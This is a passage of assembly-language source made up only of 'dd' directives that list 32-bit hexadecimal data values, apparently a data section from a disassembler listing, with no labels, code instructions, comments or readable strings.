83005C42h, 9E44F0EFh, 0C9185h dd 0B6BF4125h, 71C640E4h, 0CE3D790Ch, 11C18Dh, 0A4B29325h dd 0DC62153Ah, 3C023002h, 0C0CFE9C9h, 0FC1EC6h, 86032668h dd 1891DA41h, 0A7E43600h, 8D59745Fh, 0A24900A8h, 12C9290Dh dd 0FCEF41C0h, 1600E60Bh, 672D6D55h, 9BD26Eh, 623C97A8h dd 1937D0FAh, 10DE1106h, 1E100AC9h, 80DD3D14h, 0AA4AC79Dh dd 4F007722h, 0F64BF75Ah, 377306h, 9C721751h, 0B538BA35h dd 0ED412200h, 0F93230A3h, 0BE2730E1h, 7E45CA8h, 69469100h dd 8834D0C7h, 51AB003Ah, 98AC2F05h, 18008E1Ch, 8D36B6E3h dd 0F7C8BF9h, 6A5363DEh, 607750C0h, 7F0915C9h, 83E39FF5h dd 0B0348B44h, 3CDB89B4h, 4A00D8CDh, 0E2DE8299h, 9A1CB3CEh dd 17D8312h, 0BE2E0D64h, 46C8D910h, 452100D7h, 38C0D1A6h dd 0A8F8AD6Fh, 4EF87209h, 99040009h, 5EA7D4Fh, 0B7B2ECF3h dd 0F999C0D2h, 0B8000910h, 0B944BA85h, 1A3632h, 12F62CD7h dd 4D0E6B1Bh, 0FFC3F100h, 88C260FAh, 0A7E814F3h, 5E00B558h dd 92EEB64Bh, 0AC0069B5h, 33633DB7h, 9E08E1h, 0EAD3B191h dd 2DAAFB75h, 5B0056FCh, 9C502F19h, 0C0028654h, 66BB5C18h dd 4D07D027h, 0B1136178h, 9B335D40h, 5C440009h, 20A09DC8h dd 0FF50BEEFh, 0C9F273C4h, 3D7AF800h, 0CC4C7243h, 594046Bh dd 916297A9h, 0C0AE940h, 63B80133h, 37CF6057h, 0EA7007ADh dd 0A57F12h, 0AE8B5914h, 0C2E8361Eh, 0E000A8EAh, 0B638B11Dh dd 1D20A27Eh, 815E61BEh, 42C8E71Ch, 0E102D47Dh, 0D8F1F200h dd 59C36F0Fh, 93F0781h, 4CCAC1h, 84EEA5DFh, 956E2F1Ch dd 27BCF343h, 8CA3A0DBh, 0E29700B3h, 0B0E0DE6Ch, 7589682h dd 6490048h, 4C1CCC09h, 0E46477AEh, 29200E3h, 4EFA7379h dd 0CF00FC7Ch, 90CEDA55h, 0A1AEDCh, 0D8763C1Ah, 30A9707Dh dd 0C4165200h, 21FED5FAh, 0FDC73F8Ch, 0B1CC6EBEh, 0A055C600h dd 8D8E3EABh, 0BB1F201h, 0C81B24A6h, 5E8430h, 27477F6Bh dd 2E5A0659h, 700FB977h, 8046813Ch, 0BD0E9F3Dh, 0FE7B36h dd 0A8FCD38h, 0B180A888h, 64B9820Eh, 0AD51E030h, 60E9480Fh dd 0DAC458CEh, 0FC3ABE28h, 1C4D030Ch, 9E973505h, 2AE600A8h dd 0F44A0756h, 0AC00FB8Bh, 4184975h, 1E6FCF3Eh, 40CEB15Eh dd 9B781369h, 94007F95h, 761463Bh, 3B6E9128h, 8400759Fh dd 435F97B8h, 0C4E4E876h, 6FDB2603h, 96B2529Eh, 6D170510h dd 80A6B110h, 0A4578F19h, 772D3701h, 0F0906955h, 420CF30h dd 0BF34DCF6h, 0BD01EF0Eh, 1A9FDF93h, 5A51F4h, 0F1068960h dd 163F7347h, 6800A87Dh, 510BAF32h, 1282FEh, 72781880h dd 0CBBADE7Bh, 3A25F40Bh, 60190EFAh, 0C5138266h, 263007Ah dd 9BB91984h, 90003147h, 0CE4B65C9h, 108FE5h, 5689957h dd 35DC1C73h, 4474AB00h, 3A26754Bh, 0DC40F2Eh, 1C61033Dh dd 0C8027BE3h, 0DA00A383h, 572E705Fh, 460C38h, 0F8766722h dd 0A2CDC290h, 0AA1C13EAh, 260088F4h, 0CC6F37F7h, 28A9001Dh dd 0FFC91B99h, 3F3F2B69h, 497080D2h, 7B6C9690h, 36AA001Dh dd 2208B07Ah, 27001AB1h, 949EEC3Fh, 564F5Fh, 637C8943h dd 0F3FE227Eh, 0A97B420Fh, 2C90A0E3h, 0F20C231Bh, 94E4FD19h dd 71C9006Dh, 0F0596866h, 60FA5593h, 0DEA8DF00h, 7B8784F4h dd 41CD1ED8h, 0EF2A8047h, 2DFE5931h, 3B17DA00h, 0A2344C95h dd 26BB00CAh, 2263AD15h, 0A50035E8h, 5E0D87Fh, 9A7C9Eh dd 0AB1A8CF0h, 78154438h, 2A4BA701h, 1D45C016h, 2693D720h dd 532782h, 35CFE4BEh, 1800F112h, 53D970A0h, 588ECEE1h dd 6900477Eh, 2341A805h, 0B400F89Fh, 0B8F7538Ch, 0A9DD3F2h dd 0E3F6847Dh, 0E99100E0h, 455C8041h, 0F382FB06h, 1891CBDh dd 61B81BFFh, 0F085698Bh, 0C378394Bh, 55D79100h, 0FEAED194h dd 6825300Fh, 50A05E21h, 4C28543Dh, 0AAC71E4Bh, 19AD1A83h dd 0FEAF888Eh, 699602E8h, 0D45F0B91h, 55DFFA80h, 1D002A0Dh dd 0B5720C30h, 0D30589h, 645E3522h, 0A0DD42F1h, 0F125500h dd 8CFCE2DBh, 3BDF00C5h, 2421D3A7h, 0ACEA7090h, 29BC490Eh dd 57DD695Ah, 0C4F47480h, 0BCA0F304h, 0E603F870h, 2A0220D6h dd 0E037F257h, 0C3E2F6Ah, 0CDE9C4B2h, 4400A1C4h, 3596C3A7h dd 0F47E6E60h, 4AFA0634h, 9FC38F9h, 0A2650500h, 0F7500457h dd 0F8340041h, 0F32BB087h, 0D00998Fh, 0A8D1BF69h, 19C48Ah dd 0F2F8685Fh, 79AA43C1h, 0DA38710Fh, 4642E751h, 0D43058E0h dd 2CA80045h, 0FE2A210Bh, 0DB00CB59h, 6B3FD7F0h, 188E3D02h dd 0C0F6C041h, 0BC0198D4h, 129D8F94h, 0C660D55Eh, 578BAh dd 96766907h, 0C8DEC0B8h, 2B9A7D03h, 9C98D9h, 76C52509h dd 3F3024B0h, 0DDD42106h, 0C0B627h, 5B70B92Fh, 1457D090h dd 54009FFAh, 171E5EC1h, 0ABC532h, 1D375072h, 114875FAh dd 0F38F6103h, 0F80E73D0h, 6F9F6Bh, 0AFDA3D89h, 52CD2D6Eh dd 7FA7B004h, 0F900F875h, 9986662Fh, 6EB5FD05h, 930244C2h dd 0E0F572D3h, 3310E4Eh, 29EB2487h, 42D8642Eh, 9400A2F0h dd 687A4F61h, 1E2D1A4Dh, 3C5F5Bh, 0A19889D5h, 540757A6h dd 84724A83h, 43E57630h, 44FD1F1Dh, 0D75C005h, 0D52BA7FAh dd 307C1500h, 1B7B4C14h, 825B3B59h, 0C06A0694h, 0E1355000h dd 0A20542E0h, 45E3B424h, 0D12E6100h, 90161B68h, 0B7EC17A4h dd 0A8470011h, 7DE89721h, 5603B1FCh, 0A18CF65Dh, 872000B6h dd 9713702Eh, 0DF005B57h, 0A48589E5h, 1669E9h, 8A8BFBDBh dd 26464166h, 0D8088498h, 6C3C0Ch, 77EE5FC9h, 0A6003DE4h dd 78ABFC29h, 957BA2Dh, 0B45EEA2Ch, 89230580h, 502839A7h dd 0D313B48Bh, 2840DD79h, 338FB9D7h, 0E14C049h, 6234C952h dd 41DDF14h, 48C400B8h, 0BCF275E5h, 1E9C9809h, 4F819BECh dd 6AAF145Bh, 2F40F9C0h, 71007D5Ch, 0FA704A7Eh, 0FE16B6C6h dd 57A706FDh, 418C023Ch, 1F6E7C00h, 5DB994F0h, 0B2B10EBAh dd 0A6A74373h, 0CFA06E35h, 85A59510h, 0C2A11A01h, 0AD4FF47Eh dd 54AFB8C3h, 0FE2FE061h, 0B817503Ah, 87C10604h, 909E04Bh dd 0B439E703h, 0A170F29Eh, 1880BFF9h, 1F29D727h, 43003F36h dd 5D212DFBh, 72E2DCh, 23FA8F7Eh, 0FE295982h, 7BB84751h dd 0A0258BC2h, 96716B8h, 381501D0h, 1FDBC26Dh, 1AC20BDh dd 959CF300h, 0D0DA0230h, 0C5A007B0h, 536F2AC9h, 18D0C839h dd 314CE967h, 949C00E8h, 0BC6AAAFh, 4FF7006Dh, 451881DEh dd 48702862h, 6FA0D10Ah, 1B07BBE7h, 0AA9043F2h, 1CAE9AC7h dd 1E96E4D2h, 49DCC789h, 83F0139h, 345D444h, 9F9C560Fh dd 489D80DDh, 97FEADh, 4AB9BA26h, 61FFB336h, 1F40593Ch dd 7BFBF39Fh, 95F82F09h, 5A2C8066h, 405408ECh, 0AA0140EFh dd 5142D653h, 0C0E0FA01h, 15A40755h, 0B0D50258h, 52A54F88h dd 50C1DA07h, 32E08675h, 1ED4D8Dh, 0C476D67h, 0F023A45Ah dd 6E20B9CAh, 556B0098h, 8B1CB671h, 191F7FCCh, 540D2A8h dd 0B4660725h, 90AB3BDEh, 0C83F6480h, 0A6F99BE7h, 0AF30BB07h dd 0B4428092h, 537041BEh, 0EDAE30h, 56A9BD1Bh, 6F7D16D2h dd 40EAEC16h, 63C80CABh dd 30038FD0h, 857B28C4h, 0A58AE878h, 0BC440E72h, 3FEBDB6Dh dd 28AF7F0Fh, 0E08D5160h, 800FAD30h, 0A09C70B5h, 79066DF3h dd 0D64200C0h, 443D7814h, 0C709770Eh, 160A684h, 0AF1E7F8Ch dd 1D3FD0h, 18162E8Ah, 0F9DC296Eh, 2CAB0B00h, 3074BAC9h dd 0EC7A26h, 0C705C20Fh, 0B6D89F0h, 8375323Bh, 0A31B0491h dd 0F09DEB0Dh, 1E55B52Ah, 8EF1E7AEh, 5FC0D71Eh, 24FFF5A8h dd 0E1A2110Dh, 83F02057h, 0C333006Dh, 9A376C0Ch, 165DD632h dd 6FFF00C4h, 0E6C90918h, 0D12000F0h, 92ADB68Bh, 0E9000548h dd 6055B3B9h, 3C248Ah, 0D34AC2C1h, 78C89474h, 2024A7F6h dd 570970B9h, 47903042h, 0CFA42CE0h, 40401E74h, 317FDBB3h dd 0C67AC9B8h, 0AA1BF700h, 0FD03375h, 3C38009Bh, 474279A9h dd 3D00E51Eh, 9CB9F34Eh, 2E65DB40h, 66814Fh, 0C26F52EDh dd 1500FEBCh, 3D20EE2Dh, 7BD7F2C4h, 11360174h, 92A6D201h dd 99988050h, 7143A7C2h, 0A415008Fh, 0B3328222h, 453B8CD2h dd 0A905CB4h, 0DA3E0317h, 0F505FF24h, 0B4020B06h, 4136EE57h dd 69F4CF42h, 802200A8h, 0E33AF2AAh, 0BE005699h, 0B6D84BE8h dd 0F84652h, 0D550C6E4h, 99B7C0C2h, 0CC9813F8h, 0B43A2D1Eh dd 0CBFAEDC0h, 12507Ah, 47F3CF30h, 583FA856h, 0B236B800h dd 0F8EEE7C3h, 0F89970F7h, 0EEB395Eh, 0C095901Fh, 28648492h dd 873970A6h, 0DCC39BB3h, 942E0E8h, 897930DFh, 0C9B36709h dd 0FE721703h, 13F7A34h, 0D6571018h, 0FCBEB69Fh, 0A100B57Ch dd 0F2615CE0h, 27A23F0h, 0AADD05A3h, 80632C81h, 26B9C4D8h dd 0EF5BDB00h, 4B076A91h, 41FA0053h, 0F3DF891Dh, 56005920h dd 45A3EC52h, 737837h, 4B96B5C6h, 2C16F424h, 0E758F67Ah dd 0EECE0324h, 9C10252Dh, 40AF2081h, 6CE4E8DFh, 0B098A03Eh dd 22FC0056h, 1560EA81h, 69F6C576h, 0B60EBD00h, 8343F3D3h dd 905778B0h, 163A0010h, 5460AC0Dh, 0A701CFB5h, 0BFE5D807h dd 0B7011796h, 0BAC283Dh, 20F4095Ah, 9518E598h, 0CFCF9h dd 3F4DAEFBh, 463794CBh, 0F27CD816h, 12F38000h, 0BAD9B7h dd 0D4E67F49h, 0D3E8CCDAh, 9BF22900h, 47579310h, 85B500D8h dd 0D94C4D5Dh, 0E90F4B8Eh, 0EFC31D42h, 863200D7h, 7B22D83h dd 0EF3F59D3h, 7E792014h, 113FBD02h, 3CF1245Fh, 0EBCCC800h dd 7FFADAE1h, 3F2F0E6h, 42CB7CDh, 9AD9BD0Bh, 0C3EAC8A4h dd 5EB65007h, 66031CFDh, 49E1A095h, 83B00E6h, 886CF35Ch dd 0B74C021Dh, 4C2078B8h, 0E3501F9h, 0F80C93C6h, 0A64EC48Dh dd 7DCBAD00h, 0DC723319h, 906A00CAh, 732C59F0h, 100399D2h dd 9EF2F9C3h, 45BCB823h, 7A800058h, 1943C1B6h, 7D1291F0h dd 0A009AFC5h, 6EC90CFh, 0E6DB7405h, 6AA71F52h, 9B96C1E6h dd 0E48DE36Ch, 37134409h, 0BB00F072h, 5F92B1C9h, 0F50B882h dd 172314B9h, 0DBD2D120h, 2400BA7Dh, 0FD8B7998h, 243933ABh dd 42ED4h, 0D3B0AF83h, 0B63EEA5Bh, 49A785Fh, 394D3C00h dd 79D8FBE0h, 0B80700E4h, 4A2622B1h, 660061B3h, 0E160F784h dd 18518267h, 802B36D1h, 0A7A31E88h, 5C6001A2h, 5500B89Ah dd 0EDD57403h, 1213287Dh, 3630536h, 0DC6CC43Ch, 0F86966D0h dd 0AD2ED70Bh, 15048259h, 4AAC6442h, 0DCCEB179h, 33244B7Dh dd 28807C6Ah, 0A1ACD4C7h, 26EA0082h, 0C14C138h, 30ED98FAh dd 1B0C88A8h, 300FE53Ah, 43E0019Eh, 23E8D05Bh, 0FB46C069h dd 0DE7D1E00h, 2A557F4Eh, 293D0052h, 0C78B6014h, 2E001C9Ch dd 6B6727E2h, 0EA1395A4h, 0AAFC0055h, 0A9F86F60h, 0C971C44Eh dd 0AE008C78h, 0A8C86DE4h, 57CEEh, 0D76AEA84h, 0F154F649h dd 70551200h, 0F4DFB10Dh, 2FBB01AEh, 0D8B61E44h, 49B3D8EFh dd 0DE3D4200h, 0ABF3955h, 69EE0031h, 16E84D0Bh, 8501C4CEh dd 29C9D7E5h, 66C9ED12h, 0D3F2E0h, 0C85DD9D8h, 7FF8DA0Dh dd 28B55824h, 60D4CDC1h, 48F081FEh, 0ADECE9BEh, 56170095h dd 91C87C06h, 2A001DA7h, 63D822A5h, 0CD581Eh, 0EDB1A4BBh dd 0B7EB6B4Ch, 0EA24A00Bh, 37E180FDh, 0EF4AB60h, 73EE2123h dd 0AFA338C0h, 4D0068FEh, 7CEB6493h, 4C5947E4h, 2A04285Ah dd 0B0B469CCh, 4E0255ECh, 42C9FEE6h, 59F0E08Eh, 0C3983F11h dd 0B9A22B80h, 830B26A7h, 0DAE00E00h, 0E108E7F9h, 0BA751602h dd 0A72DF090h, 30204900h, 8D67B4FFh, 0E85307DFh, 530DE67Dh dd 100933ACh, 8FE3DC7Bh, 8AAE041h, 3C070A7h, 0CA959FE0h dd 93A8DE12h, 40908031h, 8BC46100h, 0A192B425h, 740603CFh dd 8FB23B8Dh, 0AAB3D1EBh, 0A85E49D8h, 0D8EA6A24h, 0D49C0606h dd 0D9C70008h, 0DF407E7h, 470E25CAh, 223D3FDEh, 80D1D631h dd 1A79B5BFh, 0E37FF6h, 50491519h, 6F289D5Ah, 158F248h dd 55BFFE18h, 97708037h, 939800E6h, 0BB3F236Ah, 9FE25EDFh dd 8326B47Ah, 0CA00BB09h, 19AED9F1h, 38A90064h, 0B44413FEh dd 7E00F5ADh, 0DC3F2162h, 0FD382h, 0B38920Ah, 0FA3E8C7Bh dd 2E03BAB0h, 62D2F1CBh, 52C0B5C3h, 0CD351Fh, 5E1032E9h dd 3C260C8Eh, 7ED38D07h, 58B020B0h, 13556083h, 0E863E028h dd 3B4A00A8h, 93B7DCF5h, 0C4E800E2h, 3AC0EADBh, 62006B22h dd 1E4D3A9h, 3D962CF1h, 0CB8A6A29h, 1F50C726h, 27428044h dd 8771CF36h, 0F9589C00h, 0F539667Ah, 629A007Bh, 641CF1A2h dd 0EE0342F2h, 318E61E4h, 0C98AD83Ah, 6D3B00D3h, 16B76A6Fh dd 0AC012EBEh, 1EC19BE5h, 0F3D40294h, 0B2D616DFh, 5B51019Ch dd 0E09A3326h, 5700592Bh, 5176771Ah, 0F0966Bh, 0F85CF60Eh dd 8FDFB944h, 3590E000h, 0CD032361h, 0AD4600BDh, 0FEEF5743h dd 3618931Ah, 1CCAD5B0h, 5CA7006Eh, 6F0AB652h, 0A1006442h dd 119F484Ah, 0C26C159Ch, 66B81B20h, 1E6860D7h, 0A02008Eh dd 3329AFC8h, 0F800C137h, 9FF3031Ch, 5828F64Ah, 0AD1C06B2h dd 7FD1803Eh, 739C6970h, 0D2078571h, 2836D8Eh, 0F1C078E7h dd 1FA877F7h, 40DC3E3Ah, 72139D35h, 3B0034D8h, 4D02C5C6h dd 399ECE5Eh, 0C401B75Dh, 0A4F045D4h, 0C85F31B6h, 382459E5h dd 0C30024DDh, 0A9830FB4h, 1C6400ACh, 6B505FCCh, 0C43DAF9Fh dd 811EBC4Ch, 3DD6D3DDh, 6EDC27E3h, 116100B9h, 50E232D8h dd 0F5FEF71Bh, 0E8EC5400h, 7073E699h, 0DA6600D2h, 818BA5EAh dd 0E5E07E6Dh, 6A140B00h, 132537ADh, 70DB0757h, 30A9B780h dd 2FF84B3h, 72530C02h, 4061E701h, 194FA30h, 0B9A34049h dd 0EF7635E3h, 1AC15798h, 0F3003BF4h, 534E6530h, 3AFF79F0h dd 9405A745h, 0C08B44E0h, 9BA1B032h, 0A2CD7000h, 9771CA60h dd 7DD003Dh, 580D2054h, 760F464Dh, 6023BEEAh, 74416EE9h dd 72390097h, 0F5CDD335h, 40E1ECC7h, 9D834BCh, 79ED5100h dd 0C499A9B3h, 6B2E00B5h, 0EE677D1Fh, 5609AF57h, 28158Ch dd 12C1517Ch, 0B0F6506Eh, 938900F5h, 979E98A5h, 0AB0078FEh dd 0C70A2381h, 0F891E0C8h, 56630054h, 229C46B7h, 940758CEh dd 0A8111B19h, 0AE8A8D51h, 0DDB2C0h, 5C653CFCh, 8F71F24Ah dd 5FF19700h, 0CEFF98BEh, 0D4B90002h, 0B3884BF7h, 0A6E838B4h dd 0AA294F00h, 0D9CBD2FAh, 0DD150220h, 36B02E44h, 324FF2E0h dd 0C30017E6h, 0DF82F909h, 1A4AADAh, 31B745BEh, 40A24637h dd 0BD16A8D0h, 0CB06B500h, 0CCE0104Ah, 0FCBB3AC6h, 0ED41EF00h dd 0BD125144h, 0D2DF7900h, 658D43F5h, 237EDEh, 4C2091B7h dd 4E21F9A4h, 56149000h, 6DC8C3E8h, 245C4DFAh, 0BF720079h dd 50EDB16h, 0DE00488Bh dd 96666D20h, 0E29B56Eh, 18F93294h, 3F1BCF60h, 0DBA267C0h dd 79F71C80h, 8F249802h, 4E09CC83h, 0B6A881E2h, 0A700DD3Eh dd 6000F92h, 4A9C5FA3h, 15564C7h, 0A4C9280Ch, 0CB1B9E66h dd 72A026DBh, 59480AF9h, 6CE8007Dh, 20FDAA0Fh, 4B0800FFh dd 0BA7BDB7Eh, 8570E26Eh, 83FC1C09h, 3E27F6F6h, 6A769C02h dd 8F80DE2Dh, 0E647325Bh, 0D53C3600h, 0D9171F48h, 93E1D82h dd 8AE289E0h, 9ABA5880h, 8D01D864h, 6ECA0521h, 0C040A178h dd 16FE6FC4h, 0DA40A2h, 0B2DF4D18h, 9E25AABAh, 1FE5074h dd 0EC5548AFh, 801DD59Ch, 0D182B6A8h, 13145Dh, 0AF98375Fh dd 599277E7h, 4BE8CB00h, 695CF96Dh, 0ED9F03EEh, 21111995h dd 394E83A8h, 8217E500h, 1C8AE156h, 2AC0012Ch, 0ECE2429Bh dd 5EDC249Eh, 0DADEB400h, 4AC1F959h, 0D50801FAh, 0CA6946FBh dd 0E9D8809Bh, 0EABF5258h, 2C1F0090h, 3E80E733h, 4081D882h dd 9347DCh, 0E5924648h, 6320998Dh, 267FCE00h, 0E0F2D15Eh dd 0C1363BB7h, 0E9F0FFDh, 0B4E432DFh, 0A5D08364h, 930CA290h dd 5EEF7A06h, 184092h, 1CC7C9FAh, 2DC53705h, 0CB7721F2h dd 85E1F400h, 4F5C7697h, 1EFC7BFAh, 403B91B8h, 0D0BA5ABCh dd 4B1E63E7h, 0DC02517h, 9AA61918h, 0F20248A5h, 0CF002E3Eh dd 9425372h, 0ED01AAB0h, 4065CC6Bh, 0A8EC032Ch, 8BBA00CFh dd 0E3803A39h, 7400B81Ah, 6C54B56Dh, 3B283C2Bh, 0A4D0575Bh dd 0B4360088h, 0BC06A672h, 1D035EDAh, 3AC709Eh, 248189E7h dd 215F2087h, 6C48300Bh, 160378A1h, 65A4735Eh, 1C33F80Fh dd 0CF061C60h, 20165Bh, 0FCA2393Ch, 0BB909269h, 0EE7B9171h dd 0FAA43Dh, 0FE23AF0h, 4850419Bh, 0F30060F1h, 0FDB280C1h dd 5500CB0Bh, 769F2BEAh, 0EABF7A36h, 77F90E28h, 2FA27C02h dd 0C1D44574h, 73AE8E01h, 3C70D050h, 0A99A2066h, 0EDEF009h dd 72DA005Eh, 289DF514h, 0D06DB2h, 0CC12D79Bh, 0E45DC083h dd 8168201h, 0C736587Dh, 347460h, 6A6CCB8Bh, 81E64FBBh dd 0B792120Dh, 0CC4406Fh, 0F68600E3h, 0DFCE05B1h, 3B00BE8Eh dd 0CC6625CBh, 0C069074Ah, 9BD051C1h, 6C0722B9h, 7C34F323h dd 997214C0h, 3B7A004Fh, 764736FBh, 6A7AC8DCh, 0DC213D38h dd 654D00C4h, 1E800B3Ch, 1BD10063h, 7019E41Fh, 8A4C8130h dd 5D9924F4h, 0A0D2160Fh, 9D78A2F7h, 4C79002Eh, 0F292C6FAh dd 0C704EBE7h, 0A32A06E1h, 0F794A081h, 0C0D1E2D0h, 0B54BF4A2h dd 0FF00885Ah, 30C13BA0h, 0E6795ADh, 6E2A6A8h, 58C91F00h dd 0F1125702h, 2B09256Bh, 523C0070h, 0F18490ECh, 19AC30h dd 303FF006h, 0F3C653F6h, 3D1A4558h, 0F74980E0h, 46B00387h dd 6AE8BBh, 9C3FF277h, 0D54D4490h, 0FDF37200h, 0CB7D4FBEh dd 0FE9E1C63h, 4380FBB6h, 252F9DF2h, 1C0EC8F5h, 0E191DC19h dd 8DEDB5D1h, 891292h, 0A2671B20h, 3700F032h, 0F7D78F1Fh dd 0A874ABh, 693FA750h, 0B504763Ah, 0C594C750h, 9986A30Ch dd 769230F6h, 89F33DF1h, 0B0A02B82h, 0A6E0638Dh, 8500575Ch dd 347D78E1h, 33161DCh, 0E615F58Fh, 4AE0407Bh, 220084D8h dd 1FA021B4h, 0B0DC43Dh, 0D6861293h, 30CF9011h, 4339AF52h dd 54140077h, 5CF89304h, 1FDD0971h, 0C000E5EDh, 136449E9h dd 40CEB300h, 0AD8F0E2Eh, 0C8100004h, 16CBF6FCh, 0A004CE6h dd 3E2AB75Ch, 3225D6Dh, 2597CA33h, 5B9024D8h, 5174303h dd 4701D6F1h, 8836A77Ch, 2444A0C7h, 859201A5h, 95BABE9Dh dd 0BC54C435h, 9CC03100h, 17E3A361h, 89BB00B2h, 0E80133AEh dd 1500DDE9h, 61198E71h, 0DC75C1h, 9780E43Ah, 8327DE2Bh dd 0BA06420Fh, 0A3EE6F59h, 988D68A6h, 90E27653h, 5D7050h dd 1B4B7443h, 0E6327390h, 6537B600h, 420DCF92h, 0BBF0FA3h dd 0D7035EAFh, 798091A4h, 0F60057C6h, 289B3148h, 44B145h dd 269D2D8h, 7168069Fh, 0EDF7E100h, 7A75784Ch, 57D62h dd 0EAD4726Eh, 0AC2835BBh, 0C4A64Ch, 1986D006h, 3392AFAh dd 46DC1074h, 24F9EEF8h, 0F0EFEBC4h, 12C56DF0h, 1C583100h dd 92BB5B84h, 0E47F0142h, 2EAE3093h, 823FDC4Dh, 0A160D300h dd 0FC6D54BEh, 0ED480061h, 6A5A12B8h, 1601E791h, 9ECEB714h dd 80FE75A6h, 7D1882F0h, 0A8243E3Dh, 0FFA08080h, 6DD2DDB5h dd 0F20099F4h, 3C6C30ECh, 6C4C9A1h, 0A77D2B31h, 9B070D2h dd 27265101h, 0F51CA6D6h, 3A09089Dh, 0A4E6028Bh, 7DFD9821h dd 6230804Dh, 2DC3CE9Ch, 0C4B91D2Bh, 2394052Ah, 2810059Bh dd 7C7D0BCh, 0D0F9C88Ah, 0D5CB8D6h, 7DC91F68h, 46E57007h dd 5BE1DE10h, 64500006h, 65825323h, 7B067744h, 0A69DC1Dh dd 5E7F20h, 0A59BB288h, 0B881CA2Ch, 0C49C98C5h, 0C221B0C0h dd 1AD1C2D5h, 5C808903h, 75A1CEF5h, 0BB01B5F0h, 45AC63Bh dd 5F307B1Dh, 77F001Ah, 42AFF5FAh, 0FD2808A1h, 30606416h dd 0B82BCEE0h, 147F4223h, 2030D802h, 551C1E27h, 5D6C40EFh dd 937D8C45h, 485C2E00h, 2A525F9Ah, 7A4A017Eh, 0BC14A321h dd 9D9FD872h, 992CCB1Ch, 2F40CE1Ch, 383C0DBEh, 7B162823h dd 0E8AD03AFh, 75276B3Bh, 29B25890h, 0EF078900h, 0E90FD11Dh dd 280600B3h, 0E0802F67h, 0C41F4FF3h, 0D5C05AF9h, 632740FDh dd 0CB930037h, 25FCE5ADh, 0D400236Dh, 1A54062Eh, 1363CF10h dd 802956B7h, 59BB40B8h, 0F0E1C46Dh, 0BCC3041Fh, 10005E30h dd 0CCB086D6h, 7E7C69A8h, 0D1173DB9h, 135A7A83h, 0E088D7BCh dd 0F232F851h, 100829AEh, 59408045h, 3D2284C3h, 8144284h dd 1D58CD1Dh, 0A322627Fh, 11404212h, 0AB21B326h, 9F109F08h dd 7F0020ACh, 0FA89656Bh, 5DC66h, 786CBAAFh, 71E0128Bh dd 7D52220Ch, 23B0A1h, 0D30A4330h, 2BBB54A5h, 426BF40Eh dd 264B219Ch, 4CCB55Ch, 6FDE005Eh, 34124925h, 0C800BCF2h dd 863A9F98h, 5513B9h, 0EA903C91h, 56A535D7h, 0FF2E3E8h dd 1FF8E271h, 0FD619300h, 8DE49AF5h, 163B01F1h, 0F31A403Fh dd 0ED5360EBh, 59130712h, 1D01E400h, 0E008C1h, 0D1AD1CF2h dd 2CF0C3DEh, 25000CEAh, 0CC8A58C4h, 7E71A6E8h, 3C009213h dd 701DABB1h, 3F57402Bh, 7885D043h, 4B27DF01h, 0BD4D08BEh dd 906DF9CCh, 0A3C05E4h, 17D25F6h, 11714FCh, 6F32D470h dd 494A7F00h, 9A07D8CDh, 415A01D9h, 0BCC20F19h, 32B1ECDAh dd 0D6223300h, 10FCB336h, 8FE0030Ah, 0EBA87649h, 6B2B3DE0h dd 0A3849A04h, 8C80240Eh, 2EC40DE3h, 5EAF53h, 6696D292h dd 8300C6F7h, 95170B9Bh, 1F87144Eh, 807EDFAEh, 0BC035D89h dd 88B8359Ch, 95319400h, 0EA540EB5h, 3AB9056Bh, 0C0E34A56h dd 9446F25Bh, 2E956300h, 0E1E2A838h, 0C6E000AEh, 6A64F82h dd 21005FB8h, 0D1CAFCAAh, 926E3Bh, 0F23780C1h, 8BC3DABDh dd 61A97E00h, 0AE3C5571h, 1A8C2498h, 63200BF0h, 5F006C0Eh dd 0F0E9800Dh, 0DDA5C000h, 0E19AFF3Fh, 0ABC81CF2h, 0EB3240FBh dd 0DF206D07h, 0F85A911Fh, 8DD72B40h, 16971644h, 7CF5B0h dd 42FF4624h, 0E900E4C3h, 28398405h, 0D927B5h, 0DB0F9E5h dd 18DB2A17h, 0D78DCE00h, 0F03D8B5Ch, 0E47E0072h, 0B58F041Ah dd 0AB07B980h, 0EB86787Bh, 0D0372E43h, 0F15070h, 0F801948Ch dd 0FD5F328Dh, 0BF196D00h, 9E86AB0Fh, 0E78E1D66h, 31007C3Ah dd 9634BABDh, 320AB777h, 0FC922702h, 3A65E600h, 785ABFD8h dd 0B34B0398h, 4614E8Ch, 0D2E52090h, 4CF93200h, 0B856E9D0h dd 8512003Dh, 720E90E3h dd 7D006B11h, 2CE2F02Ah, 7AF2C068h, 6152002Fh, 3DE30D79h dd 7100FAD2h, 0AEDE8F60h, 3A5469ECh, 2B008005h, 0A640A3E4h dd 0FAE2EB70h, 0B97A6B0Bh, 0D88C824Dh, 0F8B4C0E9h, 3F1A0161h dd 0F14570E0h, 346C3452h, 921E5471h, 0ED49EEB1h, 9C740718h dd 0EB90A4E0h, 0A1F900D4h, 9DF57D35h, 5B005F66h, 0EF0E1394h dd 0F011BDh, 1BD6400Fh, 3D1EADC2h, 20DD881Ch, 8ED57F80h dd 19517B78h, 80D492F2h, 31B7D064h, 0DFF9A200h, 0E38AF820h dd 0A7480180h, 89E4911Dh, 7EBCE87Dh, 0C8C28D07h, 58D1789Dh dd 0BD0374Eh, 2FA7C3Ah, 5C4D84EAh, 7D40BA46h, 0BC00AB8Bh dd 45ED2822h, 1E3E987Dh, 870DA682h, 670C04C8h, 9502B25Bh dd 3E2F888h, 0AF7EC57h, 2AAE3B80h, 66FF3703h, 9853089Eh dd 1E24FB8Bh, 0AD166Eh, 5DD89B4Bh, 2090F606h, 28442000h dd 4FE8816Ch, 0F2390F18h, 0EF31E4Ch, 23E0D060h, 823CCFD7h dd 0A9AEA809h, 56F4040Fh, 0EF579F20h, 4A2B5A12h, 31A22C40h dd 1F7F1FDCh, 7F416636h, 716F2E80h, 0ACD05CF7h, 0AF3BCE13h dd 33EA9C00h, 37E58D8h, 93A8DFFAh, 6CE122BEh, 5570C80Ah dd 0C7723Fh, 958CEDEBh, 3C082456h, 0AD81E43Dh, 0CD0AE303h dd 0E077CA2Fh, 288076B1h, 75DA6721h, 1287002Eh, 854F368Ch dd 0FC00FD11h, 50CCBD41h, 0C95AC0h, 0C3126FEDh, 0FEE09946h dd 1548A060h, 552924h, 0D1A8979Eh, 9967A4Eh, 82567B00h dd 0FFEA202Bh, 0A0355E14h, 8E007292h, 18B9D232h, 3D2384h dd 49C9A85Eh, 43119A2h, 55A57207h, 9CF0DEEAh, 763F0Bh dd 0EDCD16BDh, 0F7A82F44h, 1A196E00h, 34319168h, 0BDA60736h dd 30D3C441h, 